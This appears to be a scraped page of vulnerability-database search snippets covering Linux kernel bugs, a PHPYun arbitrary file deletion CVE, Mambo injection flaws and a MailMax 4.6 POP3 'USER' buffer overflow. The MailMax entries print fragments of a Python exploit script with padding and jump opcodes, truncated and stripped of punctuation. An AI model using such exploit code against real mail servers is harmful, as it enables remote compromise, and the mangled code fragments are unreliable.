UVI-2021-1001584 bpf: Fix integer overflow in prealloc_elems_and_freelist()

bpf: Fix integer overflow in preallocelemsandfreelist This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v5.4.153 by commit...

GSD-2021-1001584 bpf: Fix integer overflow in prealloc_elems_and_freelist()

bpf: Fix integer overflow in preallocelemsandfreelist This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v5.4.153 by commit...

UVI-2021-1001553 bpf: Fix integer overflow in prealloc_elems_and_freelist()

bpf: Fix integer overflow in preallocelemsandfreelist This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v4.19.211 by commit...

GSD-2021-1001526 bpf: Fix integer overflow in prealloc_elems_and_freelist()

bpf: Fix integer overflow in preallocelemsandfreelist This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v4.14.251 by commit...

UVI-2021-1001507 bpf: Fix integer overflow in prealloc_elems_and_freelist()

bpf: Fix integer overflow in preallocelemsandfreelist This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v4.9.287 by commit...

GSD-2021-1000167 dm rq: fix double free of blk_mq_tag_set in dev remove after table load fails

dm rq: fix double free of blkmqtagset in dev remove after table load fails This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v5.4.118 by commit...

UVI-2021-1000094 dm rq: fix double free of blk_mq_tag_set in dev remove after table load fails

dm rq: fix double free of blkmqtagset in dev remove after table load fails This is an automated ID intended to aid in discovery of potential security vulnerabilities. The actual impact and attack plausibility have not yet been proven. This ID is fixed in Linux Kernel version v5.11.20 by commit...

Design/Logic Flaw

An issue was discovered in PHPYun V4.6. There is a vulnerability that can delete any file or directory via the "admin/index.php?m=database&c=del" sql parameter because delaction in admin/model/database.class.php mishandles this parameter...

CVE-2018-18626

An issue was discovered in PHPYun V4.6. There is a vulnerability that can delete any file or directory via the "admin/index.php?m=database&c=del" sql parameter because delaction in admin/model/database.class.php mishandles this parameter...

CVE-2018-18626

An issue was discovered in PHPYun V4.6. There is a vulnerability that can delete any file or directory via the "admin/index.php?m=database&c=del" sql parameter because delaction in admin/model/database.class.php mishandles this parameter...

CVE-2018-18626

The vulnerability CVE-2018-18626 affects PHPYun v4.6, where del_action() mishandles the sql parameter in admin/model/database.class.php, allowing deletion of arbitrary files or directories via admin/index.php?m=database&c=del. Connected sources (Red Hat, CVE listings, PT-Security) confirm the iss...

CVE-2018-18626

An issue was discovered in PHPYun V4.6. There is a vulnerability that can delete any file or directory via the "admin/index.php?m=database&c=del" sql parameter because delaction in admin/model/database.class.php mishandles this parameter...

MailMax-4.6-POP3-

MailMax v4.6 POP3 "USER" Remote Buffer Overflow Exploit No Login Needed Newer version's not tested, maybe vulnerable too A hard one this, the shellcode MUST be lowercase. Plus there are many opcode's that break the payload and opcodes that gets changed, like "\xc3" gets converted to "\xe3", and...

MailMax 4.6 POP3 Buffer Overflow

!/usr/bin/python MailMax \n" %sys.argv0 sys.exit print "\n! Connecting to %s ..." %sys.argv1 connect to host sock = socketAFINET,SOCKSTREAM sock.connectsys.argv1,intsys.argv2 sock.recv1024 time.sleep5 buffer = "USER " buffer += "A" 1439 padding buffer += "\xEB\x06\x90\x90" Short jmp 6 bytes buffe...

MailMax 4.6 - POP3 USER Remote Buffer Overflow

MailMax 4.6 - POP3 USER Remote Buffer Overflow !/usr/bin/python MailMax \n" %sys.argv0 sys.exit print "\n! Connecting to %s ..." %sys.argv1 connect to host sock = socketAFINET,SOCKSTREAM sock.connectsys.argv1,intsys.argv2 sock.recv1024 time.sleep5 buffer = "USER " buffer += "A" 1439 padding buffe...

[KAPDA::#60] Mambo V4.6.x vulnerabilities

KAPDA New advisory Vendor: http://www.mamboserver.com Vulnerable Versions: 4.6.x Bug: XSS, Html Injection, Sql Injection Exploitation: Remote with browser Description: -------------------- Mambo is a feature-rich dynamic portal engine/content management tool capable of building sites from several...